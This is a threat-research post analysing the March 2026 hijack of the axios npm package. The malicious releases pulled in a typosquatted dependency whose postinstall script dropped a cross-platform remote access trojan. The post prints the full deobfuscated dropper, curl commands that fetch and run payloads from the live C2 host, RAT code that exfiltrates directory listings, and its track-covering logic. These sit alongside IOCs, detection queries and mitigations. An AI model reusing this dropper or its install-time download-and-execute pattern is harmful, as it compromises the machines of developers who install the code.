---
title: "Compromised axios npm package delivers cross-platform RAT"
description: "An attacker hijacked an axios maintainer's npm account to publish malicious releases that deliver a cross-platform RAT."
author: "Christophe Tafani-Dereeper"
date: 2026-03-31
category: "emerging threats and vulnerabilities"
tags: ["software supply-chain security", "threat research", "application security"]
url: "https://securitylabs.datadoghq.com/articles/axios-npm-supply-chain-compromise/"
---

## Key points and observations

- On March 31, 2026, an attacker hijacked an axios npm maintainer account and published two malicious releases: `axios@1.14.1` and `axios@0.30.4`.
- These malicious releases add a trojanized dependency, `plain-crypto-js` (a typosquat of `crypto-js`), which downloads and executes a cross-platform RAT (remote access trojan) on install.
- The attack chain was effective for roughly **3 hours** (00:21 to 03:25 UTC) before npm removed the compromised packages. Axios has over 100 million weekly downloads and [174,000 dependent npm packages](https://www.npmjs.com/package/axios?activeTab=dependents).
- The legitimate `axios@1.14.0` was published via GitHub Actions OIDC [trusted publishing](https://securitylabs.datadoghq.com/articles/decoding-the-recommendations-for-npm-maintainers.md#trusted-publishing). The attacker published the malicious releases directly from the compromised account, bypassing CI/CD.
- The Windows and Linux RAT payloads both contain bugs that limit their effectiveness. The Linux payload crashes in containerized environments.
- Most package managers now support a **dependency cooldown** setting that skips newly published versions, giving the community time to flag compromised releases before they reach your builds. [Jump to recommendations](#implement-dependency-cooldown).

&nbsp;
**Note on Datadog's exposure:** Several components that Datadog maintains were affected by this campaign. For details on Datadog's response and impact assessment, refer to our post on the [Datadog Trust Center](https://trust.datadoghq.com/?tcuUid=94871ca1-ff6a-4c4c-8cdc-9167c55f5cde).

**Note on TeamPCP:** The TTPs in this compromise do not match the recent [TeamPCP supply chain campaign](https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign.md) that targeted Trivy, LiteLLM, Telnyx, and Checkmarx earlier in March 2026. We assess with reasonable confidence that these are unrelated campaigns.

## What happened

On March 31, 2026, an attacker compromised the npm account of an `axios` maintainer and published two malicious patch releases: `1.14.1` and `0.30.4`. The following diagram shows the attack flow:
&nbsp;
![Overview of the axios@1.14.1 supply chain attack flow (click to enlarge)](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/attack-flow.png?auto=format)
*Overview of the axios@1.14.1 attack flow (click to enlarge)*

### The compromised release

The attacker published `1.14.1` at 00:21 UTC and `0.30.4` at 01:00 UTC. The `1.14.1` source code is identical to `1.14.0`. The only meaningful change to `package.json` was a new dependency: `"plain-crypto-js": "^4.2.1"`, a name meant to resemble the legitimate `crypto-js`, never imported by any axios code. We have not independently analyzed `0.30.4`, but [StepSecurity reports](https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan) it contains the same backdoor.
&nbsp;
![Diff between axios 1.14.0 and the malicious 1.14.1, showing the added plain-crypto-js dependency and removed prepare script (click to enlarge)](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/package-json-diff.png?auto=format)
*Diff between axios 1.14.0 and the malicious 1.14.1 (click to enlarge)*

Because `1.14.1` was tagged as `latest`, any `npm install axios` without a pinned version during the 3-hour window pulled the compromised release.

### Tracing the account takeover in npm registry metadata

The npm registry API (`https://registry.npmjs.org/<package>`) returns metadata for every published version: who published it, the maintainers list at publication time, and provenance attestations. The `1.14.0` and `1.14.1` metadata reveal two signs of the account takeover.

**The publisher changed from GitHub Actions to a direct user session.** The `_npmUser` field for each version records who published it. The `trustedPublisher` field confirms `1.14.0` was published via [npm's OIDC trusted publishing](https://docs.npmjs.com/generating-provenance-statements), linked to a GitHub Actions workflow:

```json
// GET https://registry.npmjs.org/axios → .versions["1.14.0"]._npmUser
{
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}
```

For `1.14.1` the `trustedPublisher` field is absent. This version was published directly from the `jasonsaayman` account session, not through the GitHub Actions workflow:

```json
// GET https://registry.npmjs.org/axios → .versions["1.14.1"]._npmUser
{
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
}
```

**The maintainer email address changed between versions.** The npm registry snapshots the full maintainers list when each version is published. In the `1.14.0` snapshot, `jasonsaayman` has the email address `jasonsaayman@gmail.com`. In the `1.14.1` snapshot, the same account shows the attacker's email address:

```json
// .versions["1.14.0"].maintainers
[
  { "name": "jasonsaayman", "email": "jasonsaayman@gmail.com" },
  // ... other maintainers
]

// .versions["1.14.1"].maintainers
[
  { "name": "jasonsaayman", "email": "ifstap@proton.me" },
  // ... other maintainers unchanged
]
```

**Note:** npm has since removed `1.14.1` from the registry and reverted `dist-tags.latest` to `1.14.0`. The per-version metadata for `1.14.1` is no longer available through the public API, but the `time` object still records its publication timestamp (`2026-03-31T00:21:58.168Z`).

### How the maintainer and community responded

The attacker had access to both the npm and GitHub accounts. Community members filed issues to report the compromise ([#10597](https://github.com/axios/axios/issues/10597) and [#10601](https://github.com/axios/axios/issues/10601), both by Ashish Kurmi from StepSecurity), but the attacker deleted them. The maintainer later [clarified](https://github.com/axios/axios/pull/10591#issuecomment-4160382919) that the deletions were not their doing.

Another axios maintainer, `DigitalBrainJS`, was the first to respond. The compromised account had higher permissions than `DigitalBrainJS` had, so `DigitalBrainJS` could not revoke its access or prevent the attacker from undoing fixes:

![DigitalBrainJS explaining the situation on GitHub issue #10604 (click to enlarge)](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/github-discussion.png?auto=format)
*DigitalBrainJS explaining the situation on GitHub issue #10604 (click to enlarge)*

`DigitalBrainJS` worked around the access problem:

- At 01:38 UTC, `DigitalBrainJS` opened [PR #10591](https://github.com/axios/axios/pull/10591) to add a deprecation workflow for the compromised versions.
- `DigitalBrainJS` [flagged](https://github.com/axios/axios/issues/10604#issuecomment-4159522604) the issue deletions to the community.
- `DigitalBrainJS` contacted npm directly and got all compromised versions and tokens revoked within about 3 hours.

About 4 hours after the malicious release, `jasonsaayman` responded on [issue #10604](https://github.com/axios/axios/issues/10604) and confirmed the compromise:

- Two-factor authentication (2FA) was enabled on the account. `jasonsaayman` could not explain how the attacker gained access.
- `jasonsaayman` [speculated](https://github.com/axios/axios/issues/10604#issuecomment-4160613291) that a recovery code may have been used.
- OIDC trusted publishing was configured for `v1.x`, but `v0.x` still relied on a long-lived npm token, which `jasonsaayman` revoked.

### How the maintainer got compromised

On April 2, `jasonsaayman` [described](https://github.com/axios/axios/issues/10636) how the account takeover started. The attacker social-engineered the maintainer into installing a RAT on their machine, which gave the attacker access to the npm account credentials used to publish the malicious versions. The technique matches a [pattern documented by Google](https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering) in campaigns targeting open source maintainers:

1. The attacker reached out impersonating the founder of a company, using the real founder's likeness and branding.
2. They invited the maintainer to a Slack workspace designed to pass as the company's internal communications. The workspace had channels sharing LinkedIn posts that linked to the real company's account, fake profiles for the company's team, and profiles of other open source maintainers.
3. They scheduled a Microsoft Teams meeting with what appeared to be a group of people.
4. During the call, the maintainer was told a component on their system was out of date and was prompted to install an update. The update was the RAT.

The approach has similarities with the [XZ Utils backdoor](https://securitylabs.datadoghq.com/articles/xz-backdoor-cve-2024-3094.md), where attackers spent months building trust with a maintainer before compromising the project. In both cases, the attackers went after the maintainer rather than the code.

## Analyzing the payload

The `plain-crypto-js` dependency uses a `postinstall` script to download and execute a platform-specific RAT on macOS, Windows, and Linux, then removes all traces of the hook from disk.

![The payload chain from axios to the C2 server (click to enlarge)](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/payload-chain.png?auto=format)
*The payload chain from axios to the C2 server (click to enlarge)*

### How plain-crypto-js delivers the payload

`plain-crypto-js@4.2.1` is a clone of the real `crypto-js@4.2.0` with a `scripts` block added to its `package.json`:

```diff
-   "name": "crypto-js",
-   "version": "4.2.0",
+   "name": "plain-crypto-js",
+   "version": "4.2.1",
    "description": "JavaScript library of crypto standards.",
    "main": "index.js",
+   "scripts": {
+     "test": "echo \"Error: no test specified\" && exit 1",
+     "postinstall": "node setup.js"
+   },
    "dependencies": {},
```

npm runs `postinstall` scripts automatically after installing a package. Since `axios@1.14.1` lists `plain-crypto-js` as a dependency, `npm install axios` triggers the chain: npm installs `plain-crypto-js`, then runs `setup.js`.

The package also ships a second file, `package.md`, which is a copy of `package.json` without the `postinstall` entry. This is used during cleanup to replace the evidence (see [Covering its tracks](#covering-its-tracks)).

`setup.js` hides all its strings behind two deobfuscation functions. `_trans_2` reverses a string and replaces `_` with `=`, and then base64-decodes the result and passes it to `_trans_1`. `_trans_1` then applies a byte-wise XOR operation to each character, using a digit derived from the key `"OrDeR_7077"` and the constant `333`:

```javascript
// _trans_1: XOR each char against a digit from the key and the constant 333
function _trans_1(str, key) {
    const digits = key.split("").map(Number);
    // "OrDeR_7077" -> [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7]
    // Only the last 4 characters ("7077") parse as numbers;
    // the rest become NaN, which falls to 0 in the XOR via the || 0.
    let result = "";
    for (let i = 0; i < str.length; i++) {
        const d = digits[7 * i * i % 10] || 0;
        result += String.fromCharCode(str.charCodeAt(i) ^ d ^ 333);
    }
    return result;
}

// _trans_2: reverse the string, replace _ with =, base64-decode, then run _trans_1
function _trans_2(encoded, key) {
    const reversed = encoded.split("").reverse().join("").replaceAll("_", "=");
    const decoded = Buffer.from(reversed, "base64").toString("utf8");
    return _trans_1(decoded, key);
}

// All strings in setup.js are hidden this way, for example:
_trans_2("__gvEvKx", "OrDeR_7077")  // decodes to "fs"
_trans_2("__gvELKx", "OrDeR_7077")  // decodes to "os"
```

After deobfuscation, the script calls `_entry("6202033")`, which detects the operating system and branches into platform-specific download and execution logic.

<details>
<summary>Full decoded setup.js (click to expand)</summary>

The snippet below contains a minimally-decoded version of `setup.js`:

```javascript
const fs = require("fs");
const os = require("os");
const { execSync } = require("child_process");

const platform = os.platform();
const tmpdir = os.tmpdir();
const E = "LOCAL_PATH";
const S = "PS_PATH";
const a = "SCR_LINK";
const c = "PS_BINARY";
const q = "http://sfrclak.com:8000/6202033";
let n = "";

os.type();
os.release();
os.arch();

for (;;) {
  if (platform === "darwin") {
    let r = tmpdir + "/6202033";
    let script = `
    set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
        try
            do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null"
        end try
    do shell script "rm -rf LOCAL_PATH"`;
    script = script.replaceAll(a, q);
    script = script.replaceAll(E, r);
    fs.writeFileSync(r, script);
    n = `nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &`;
    n = n.replaceAll(E, r);

  } else if (platform === "win32") {
    let r = execSync("where powershell").toString().trim();
    let W = process.env.PROGRAMDATA + "\\wt.exe";
    if (!fs.existsSync(W)) fs.copyFileSync(r, W);

    let o = tmpdir + "\\6202033.vbs";
    let K = tmpdir + "\\6202033.ps1";
    let l = `
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
    `;
    l = l.replaceAll(a, q);
    l = l.replaceAll(S, K);
    l = l.replaceAll(c, W);
    fs.writeFileSync(o, l);
    n = `cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f`;
    n = n.replaceAll(E, o);

  } else {
    n = `curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &`;
    n = n.replaceAll(a, q);
  }
  break;
}

execSync(n);

fs.unlink(__filename, () => {});
fs.unlink("package.json", () => {});
fs.rename("package.md", "package.json", () => {});
```

</details>

### macOS payload

On macOS, `setup.js` writes an AppleScript file to `$TMPDIR/6202033` that downloads and executes a binary disguised as an Apple system daemon:

```bash
# Deobfuscated AppleScript content
curl -o /Library/Caches/com.apple.act.mond \
     -d packages.npm.org/product0 \
     -s http://sfrclak.com:8000/6202033
chmod 770 /Library/Caches/com.apple.act.mond
```

The `-d` POST body (`packages.npm.org/product0`) is not a real domain. It is sent as POST data to the command-and-control (C2) server, with a different value per platform: `product0` for macOS, `product1` for Windows, `product2` for Linux.

### Windows payload

On Windows, `setup.js` copies the PowerShell executable to `%PROGRAMDATA%\wt.exe` (mimicking Windows Terminal), then writes and executes a VBScript file (`%TEMP%\6202033.vbs`) via `cscript //nologo`. The VBScript fetches a `.ps1` payload from the C2 and executes it in hidden mode with execution policy bypass:

```shell
curl -o %TEMP%\6202033.ps1 -d packages.npm.org/product1 -s http://sfrclak.com:8000/6202033
%PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1
```

The Windows variant is the only one with built-in persistence. The downloaded PowerShell script writes `%PROGRAMDATA%\system.bat` (a one-liner that re-fetches the payload from the C2) and registers it under the `MicrosoftUpdate` Run key at `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, so it re-executes on every login.

### Linux payload

On Linux, `setup.js` downloads and executes a Python script:

```bash
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033
nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 &
```

The Linux variant has no persistence mechanism.

### Covering its tracks

After executing the platform-specific payload, `setup.js` removes traces of the `postinstall` hook:

```javascript
// Deobfuscated cleanup logic from setup.js
fs.unlink(__filename);                    // delete setup.js itself
fs.unlink("package.json");                // delete package.json (contains postinstall)
fs.rename("package.md", "package.json");  // replace with clean copy (no postinstall)
```

After this swap, inspecting `node_modules/plain-crypto-js/package.json` or running `npm ls` shows no trace of the `postinstall` script.

### Bugs in the Windows and Linux payloads

Both the Linux and Windows second-stage payloads contain bugs that prevent the RAT from functioning as intended.

#### Linux: `os.getlogin()` crashes in containers and CI

The Linux payload's `work()` function first sends a `FirstInfo` message with directory listings, then calls `main_work()` to start the beacon loop:

```python
def work():
    url = sys.argv[1]
    uid = generate_random_string(16)
    dir_info = init_dir_info()           # list ~/, ~/.config, ~/Documents, ~/Desktop
    body = { "type": "FirstInfo", "uid": uid, "os": get_os(), "content": dir_info }
    send_result(url, body)               # succeeds: directory listings are exfiltrated
    main_work(url, uid)                  # crashes in containers (see below)
```

The `FirstInfo` exfiltration succeeds regardless of environment. But `main_work()` crashes on its first iteration: `get_user_name()` calls `os.getlogin()`, which under the hood relies on `/proc/self/loginuid` and a TTY being attached to stdin. In containers, CI jobs, cron, and background services (common `npm install` environments), neither condition is met and the call fails:

```
$ python /tmp/ld.py http://sfrclak.com:8000/6202033
Traceback (most recent call last):
  File "/tmp/ld.py", line 443, in <module>
    work()
  File "/tmp/ld.py", line 439, in work
    main_work(url, uid)
  File "/tmp/ld.py", line 401, in main_work
    "username": get_user_name(),
  File "/tmp/ld.py", line 39, in get_user_name
    return os.getlogin()
FileNotFoundError: [Errno 2] No such file or directory
```

The attacker imported `pwd` (which provides `pwd.getpwuid(os.getuid()).pw_name`, a portable alternative) but never used it.

A second bug affects the binary execution handler (`peinject`). The function `do_action_ijt()` references an undefined variable `b64_string` instead of its parameter `ijtbin`, so even on systems where the beacon loop runs, the C2 cannot deliver binary payloads:

```python
def do_action_ijt(ijtbin, param):
  payload = base64.b64decode(b64_string) # b64_string doesn't exist
```

#### Windows: `work()` is never called

The PowerShell script runs its top-level code on execution: It collects system information, sets up persistence (registry Run key + `system.bat`), and defines the RAT functions. But it never calls `work()` to start the RAT:

```powershell
# Top-level code (lines 1-20): executes on load
$url = $args[0]
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ...)
# ... system info collection ...
# ... persistence setup (registry key + system.bat) ...

# Functions defined but never called
function mainWork { }          # empty function body
function work { ... }          # full RAT implementation, never invoked

# End of file - no call to work()
```

On first execution, the attacker gets persistence but no C2 session: No `FirstInfo` is sent, no beacon loop starts, and no commands can be received. The persistence mechanism (`system.bat`) re-downloads the script from the C2 on each login, so the attacker could serve a fixed version later. But the initial execution is inert beyond installing the Run key.

The empty `mainWork` function (defined with no body) suggests unfinished refactoring.

## The second-stage RAT

All three platform payloads (Mach-O universal binary on macOS, PowerShell script on Windows, Python script on Linux) implement the same C2 protocol: HTTP POST to `sfrclak[.]com:8000/6202033` with base64-encoded JSON bodies and a hardcoded IE8 User-Agent string.

On first execution, the RAT generates a random 16-character UID and sends a `FirstInfo` message with directory listings of the victim's home directory, Desktop, Documents, and `.config` folder. On Windows, the listing also covers OneDrive, `AppData\Roaming`, and all drive roots.

The RAT then enters a 60-second beacon loop. Each iteration sends a `BaseInfo` message with hostname, username, OS, architecture, timezone, boot time, hardware model, CPU, and running processes.

The C2 can send the following commands:

| Command | Description |
| :---- | :---- |
| `kill` | Terminate the RAT. |
| `peinject` | Execute a binary payload delivered as base64. On Windows, loads a .NET assembly reflectively into `cmd.exe`. On Linux, writes to `/tmp/.<random>` and executes. |
| `runscript` | Run arbitrary shell commands, PowerShell scripts, or Python code. |
| `rundir` | Enumerate a directory (names, sizes, timestamps). |

The macOS binary is a Mach-O universal (x86_64 + arm64) compiled with Xcode, using libcurl for HTTP. It is a compiled port of the Linux Python script (`ld.py`): same C2 commands, same system enumeration, same POST parameters. It can also retrieve and execute AppleScript payloads via `osascript`, stored under `/tmp/.XXXXXX.scpt`. Build artifacts leak the attacker's development path (`/Users/mac/Desktop/Jain_DEV/client_mac/macWebT/`) and Xcode project name (`macWebT`).

Neither the macOS nor the Linux variant includes built-in persistence, but `runscript` allows the attacker to deploy persistence through follow-on commands.

## Identify if you're affected

With over 100 million weekly downloads, axios is one of the most popular packages on the npm registry. If you write JavaScript or Node.js applications that directly or indirectly depend on Axios, follow the steps below to determine whether you were affected:

- [Analyze your package.json for the presence of Axios](#analyze-your-packagejson-for-the-presence-of-axios)
- [Review if one of your transitive dependencies includes Axios](#review-if-one-of-your-transitive-dependencies-includes-axios)
- [Review CI/CD jobs that ran during the compromise window](#review-cicd-jobs-that-ran-during-the-compromise-window)
- [Review available telemetry data to identify potential indicators of compromise](#review-available-telemetry-data-to-identify-potential-indicators-of-compromise)

### Analyze your package.json for the presence of Axios

Check whether your `package.json` includes Axios, and whether the [version constraint](https://docs.npmjs.com/about-semantic-versioning) could have resolved to a malicious version.

```bash
$ cat package.json | grep axios
    "axios": "^1.13.0"
```

The table below shows example version constraints and whether they could have resolved to a malicious version (`1.14.1` or `0.30.4`) if you ran `npm install` during the compromise window (00:21 to 03:25 UTC).

| Sample version constraint | Could have resolved to a malicious version? |
| :---- | :---- |
| `0.30.3` | No (fixed version) |
| `^0.30.0` | Yes (**0.30.4**), equivalent to `>=0.30.0, <0.40.0` |
| `~1.13.4` | No, equivalent to `>=1.13.4, <1.14.0` |
| `^1.13.6` | Yes (**1.14.1**), equivalent to `>=1.13.6, <2.0.0` |
| `^1.0.0`  | Yes (**1.14.1**), equivalent to `>=1.0.0, <2.0.0` |
| `~1.14.0` | Yes (**1.14.1**), equivalent to `>=1.14.0, <1.15.0` |

### Review if one of your transitive dependencies includes Axios

Even if you don't *directly* depend on Axios, one of your transitive dependencies might. Use the `npm why` command in each of your projects to check:

```bash
$ npm why axios
axios@1.13.4
node_modules/axios
  axios@"^1.12.2" from aws-crt@1.30.0
  node_modules/aws-crt
    aws-crt@"^1.9.0" from @aws-sdk/signature-v4-crt@3.29.0
    node_modules/@aws-sdk/signature-v4-crt
      @aws-sdk/signature-v4-crt@"3.29.0" from @aws-sdk/middleware-sdk-s3@3.29.0
      node_modules/@aws-sdk/middleware-sdk-s3
        @aws-sdk/middleware-sdk-s3@"3.29.0" from @aws-sdk/client-s3@3.29.0
        node_modules/@aws-sdk/client-s3
          @aws-sdk/client-s3@"3.29.0" from the root project
```

In this example, the project pulls in Axios through `@aws-sdk/client-s3 → @aws-sdk/middleware-sdk-s3 → @aws-sdk/signature-v4-crt → aws-crt → axios`. Because `aws-crt` declares `axios@"^1.12.2"`, running `npm install` during the compromise window would have resolved to the malicious `1.14.1`.

### Review CI/CD jobs that ran during the compromise window

CI/CD pipelines routinely run `npm install` as part of build and deploy steps. Identify any job that ran during the compromise window and review its logs for signs of the malicious package.

```shell
gh api "repos/ORG/REPO/actions/runs?created=2026-03-31T00:21:00Z..2026-03-31T03:25:00Z" --paginate
```

The snippet below shows a GitHub Actions log that installed the malicious version of Axios.

``` text/14
2026-03-31T03:04:40.4092421Z added 65 packages, and audited 66 packages in 3s
2026-03-31T03:04:40.4092867Z
2026-03-31T03:04:40.4093184Z 2 packages are looking for funding
2026-03-31T03:04:40.4095033Z   run `npm fund` for details
2026-03-31T03:04:40.4114077Z
2026-03-31T03:04:40.4114552Z 1 high severity vulnerability
2026-03-31T03:04:40.4114896Z
2026-03-31T03:04:40.4115175Z To address all issues, run:
2026-03-31T03:04:40.4115469Z   npm audit fix
2026-03-31T03:04:40.4115641Z
2026-03-31T03:04:40.4115780Z Run `npm audit` for details.
2026-03-31T03:04:40.4267123Z
2026-03-31T03:04:40.4268157Z + dc-polyfill@0.1.10
2026-03-31T03:04:40.4268754Z + import-in-the-middle@3.0.0
2026-03-31T03:04:40.4275840Z + axios@1.14.1
2026-03-31T03:04:40.4276356Z + benchmark@2.1.4
2026-03-31T03:04:40.4276795Z + body-parser@2.2.2
2026-03-31T03:04:40.4277203Z + bun@1.3.11
```

Your workflows may not use Axios directly but can still be affected through third-party GitHub Actions that do. For example, the popular `slack-github-action`, used by over 23,000 public repositories, depends on Axios:

```shell
$ git clone https://github.com/slackapi/slack-github-action.git --depth 1
$ cd slack-github-action
$ cat package.json | grep axios
    "axios": "^1.14.0",
```

Any workflow that uses this action and ran during the compromise window would have pulled the malicious `axios@1.14.1`. In practice, it's difficult to determine if your workflows are affected because they are often a mix of third-party actions that themselves install npm packages or include further actions with transitive dependencies. We recommend reviewing your workflow files for any mentions of Axios and looking for hints that a third-party action you use might depend on it.

### Review available telemetry data to identify potential indicators of compromise

The [Indicators of compromise](#iocs) section lists network indicators, file paths, and payload hashes that can help you identify compromised machines or CI pipelines.

Query these IOCs against any available telemetry data (EDR platforms, firewall logs, observability data) to surface potentially compromised systems.

### Open-source utilities to automate detection

We've released two open source utilities that automate the steps above, [available on GitHub](https://github.com/DataDog/indicators-of-compromise/tree/main/axios-npm-supply-chain-compromise#identify-if-youre-affected).

```bash
# Identify if a direct or transitive dependency includes Axios using a version constraint that could have caused it to retrieve a malicious version
node check-dependencies-ranges/check-dependencies-ranges.mjs --target ~/workspace/your-project axios 1.14.1 0.30.4

# Pull all GitHub Actions logs for a GitHub organization, for jobs that ran during the compromise window
uv run github-actions-logs/github-actions-logs.py --org ORG -o /tmp/logs --start 2026-03-31T00:21:00Z --end 2026-03-31T03:25:00Z
```

## Protecting against similar attacks

The compromised packages have been removed, but npm supply chain attacks are growing more frequent. The following measures can reduce your exposure to similar incidents.

### Implement dependency cooldown

When popular packages are backdoored, the community typically identifies and removes them within hours or days. However, [Datadog's State of DevSecOps report](https://www.datadoghq.com/state-of-devsecops/) found that 50% of organizations are using third-party libraries within a day of their release, leaving a narrow window for the community to catch and flag compromised packages. Most package managers (npm, pnpm, and Yarn) support settings that skip newly published versions, giving the community time to flag compromised releases before they reach your builds.

As of version [11.10.0](https://github.com/npm/cli/releases/tag/v11.10.0) (released in February 2026), npm supports a `min-release-age` parameter that you can configure at the user level. For instance, setting it to 30 days causes `npm install` to skip any release published within the last 30 days:

```bash
# The latest VueJS version is 3.5.31
$ curl -s https://registry.npmjs.org/vue/latest | jq -r .version
3.5.31

# By default, that's the version we'd get
$ npm install vue
$ npm ls vue
vue@3.5.31

# Now let's uninstall it and set min-release-age
$ rm -rf node_modules package.json package-lock.json
$ npm config set min-release-age=30
$ npm install vue
$ npm ls vue
vue@3.5.29

# We got the latest version that's older than 30 days
```

Yarn and pnpm have similar settings, respectively [`npmMinimalAgeGate`](https://yarnpkg.com/configuration/yarnrc#npmMinimalAgeGate) and [`minimumReleaseAge`](https://pnpm.io/settings#minimumreleaseage). We recommend setting this value to a few days.

### Block known malicious packages with SCFW

The Supply-Chain Firewall (SCFW) is an open source project that transparently wraps `pip install` and `npm install` and automatically blocks known malicious packages.

We use SCFW extensively at Datadog because it's a low-friction way to secure developer workstations against similar threats.

![Supply-Chain Firewall in action (click to enlarge)](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/scfw.gif?auto=format)
*Supply-Chain Firewall in action (click to enlarge)*

See the [GitHub repository](https://github.com/DataDog/supply-chain-firewall) to get started.

We also maintain an open source [malicious software packages dataset](https://github.com/DataDog/malicious-software-packages-dataset) with over 22,000 samples. Both the compromised [`axios@1.14.1`](https://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/npm/compromised_lib/axios/1.14.1/2026-03-31-axios-v1.14.1.zip) and [`plain-crypto-js@4.2.1`](https://github.com/DataDog/malicious-software-packages-dataset/blob/main/samples/npm/malicious_intent/plain-crypto-js/4.2.1/2026-03-31-plain-crypto-js-v4.2.1.zip) packages are available for download and independent analysis.

## Timeline

All times are UTC on March 30-31, 2026.

| Time (UTC) | Event |
| :---- | :---- |
| Mar 30 | C2 domain `sfrclak[.]com` registered via Namecheap (WHOIS creation date: `2026-03-30T16:03:46Z`). |
| Mar 30, 05:57 | `plain-crypto-js@4.2.0` published to npm by `nrwise@proton.me` ([according to StepSecurity](https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan)), likely containing a clone of `crypto-js`. (This version has been removed and could not be recovered for analysis.) |
| Mar 30, 23:59 | `plain-crypto-js@4.2.1` published with the malicious `postinstall` script. |
| Mar 31, 00:21 | Malicious `axios@1.14.1` published from the `jasonsaayman` account, tagged as `latest`, referencing `plain-crypto-js@^4.2.1`. |
| Mar 31, 01:00 | Malicious `axios@0.30.4` published from the same account. |
| Mar 31, 01:38 | Axios maintainer `DigitalBrainJS` opens [PR #10591](https://github.com/axios/axios/pull/10591) to add a deprecation workflow for the compromised versions. |
| Mar 31, 02:19 | Ashish Kurmi (StepSecurity) opens [GitHub issue #10597](https://github.com/axios/axios/issues/10597) reporting the compromise. This issue is later deleted via the compromised maintainer's GitHub account. |
| Mar 31, 02:32 | Ashish Kurmi opens [issue #10601](https://github.com/axios/axios/issues/10601). Also deleted. |
| Mar 31, 03:00 | Ashish Kurmi opens [issue #10604](https://github.com/axios/axios/issues/10604). This one survives. |
| Mar 31, 03:25 | npm replaces `plain-crypto-js` with a security placeholder. |
| Mar 31, ~03:40 | npm removes the compromised axios versions and revokes all npm tokens for the package, after being [contacted](https://github.com/axios/axios/issues/10604#issuecomment-4159651856) by axios maintainer `DigitalBrainJS`. |
| Mar 31, 04:08 | Maintainer `jasonsaayman` [acknowledges](https://github.com/axios/axios/issues/10604#issuecomment-4159728532) the incident and begins investigating. |
| Mar 31, 04:45 | `jasonsaayman` [notes](https://github.com/axios/axios/issues/10604#issuecomment-4159846376) they had 2FA enabled and are seeking support to understand how the account was compromised. |
| Mar 31, 05:06 | `jasonsaayman` [states](https://github.com/axios/axios/issues/10604#issuecomment-4159914802) OIDC trusted publishing was configured on `v1.x`, but `v0.x` still used a long-lived npm token, which they say they revoked. |
| Mar 31, 06:54 | `jasonsaayman` [states](https://github.com/axios/axios/issues/10604#issuecomment-4160361657) they have reset all passwords and security keys, and have revoked all sessions. |
| Mar 31, 07:47 | `jasonsaayman` [suggests](https://github.com/axios/axios/issues/10604#issuecomment-4160613291) the attacker may have used one of their account recovery codes. |

## How Datadog can help

[Datadog Code Security](https://docs.datadoghq.com/security/code_security/) can identify hosts, containers, and build environments where the compromised version was installed. Use the following query in the [Library Inventory](https://app.datadoghq.com/security/code-security/inventory/libraries) to scope affected systems:

```
library_name:axios status:Open library_version:(1.14.1 OR 0.30.4)
```

For services with floating dependencies, broaden the search to `library_version:(1.14.0 OR 1.14.1 OR 0.30.3 OR 0.30.4)` to catch systems whose data hasn't refreshed yet.

Hunt for follow-on activity by analyzing C2 traffic and file system artifacts across logs and workload telemetry data:

[**Log Management**](https://docs.datadoghq.com/logs/)**:**

```
@dns.question.name:sfrclak.com
```

```
@network.destination.ip:142.11.206.73 @network.destination.port:8000
```

[**Workload Protection**](https://www.datadoghq.com/product/workload-protection/)**:**

```
@file.path:(*com.apple.act.mond OR */wt.exe OR */system.bat OR */ld.py)
```

```
@process.args:*sfrclak*
```

Workload Protection also surfaces the full process tree at runtime. The investigation graph below traces the attack from `npm install` through the `postinstall` hook, to `curl` fetching the second-stage payload into a temp directory. It then shows `python3` executing it against the C2 server:

![Datadog Workload Protection investigation graph showing the attack's process tree, from npm install to C2 communication.](https://securitylabs.dd-static.net/img/axios-npm-supply-chain-compromise/cwp.png?auto=format)
*Workload Protection investigation graph showing the attack's process tree (click to enlarge)*

## IOCs

You can download these IOCs as CSV from [our GitHub repository](https://github.com/DataDog/indicators-of-compromise/tree/main/axios-npm-supply-chain-compromise).

### Network

| Indicator | Type | Context |
| :---- | :---- | :---- |
| `sfrclak[.]com` | Domain (C2) | Registered 2026-03-30 via Namecheap |
| `142.11.206.73` | IPv4 | A record for `sfrclak[.]com` (Hostwinds) |
| `http://sfrclak[.]com:8000/6202033` | URL | Stage 2 download + C2 beacon endpoint |
| `mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)` | User-Agent | Hardcoded in all RAT variants |

### Affected packages

| Type | Name | Affected versions |
| :---- | :---- | :---- |
| npm package | `axios` | 1.14.1, 0.30.4 |
| npm package | `plain-crypto-js` | 4.2.1 |

### Second-stage payload hashes

| Platform | SHA-256 |
| :---- | :---- |
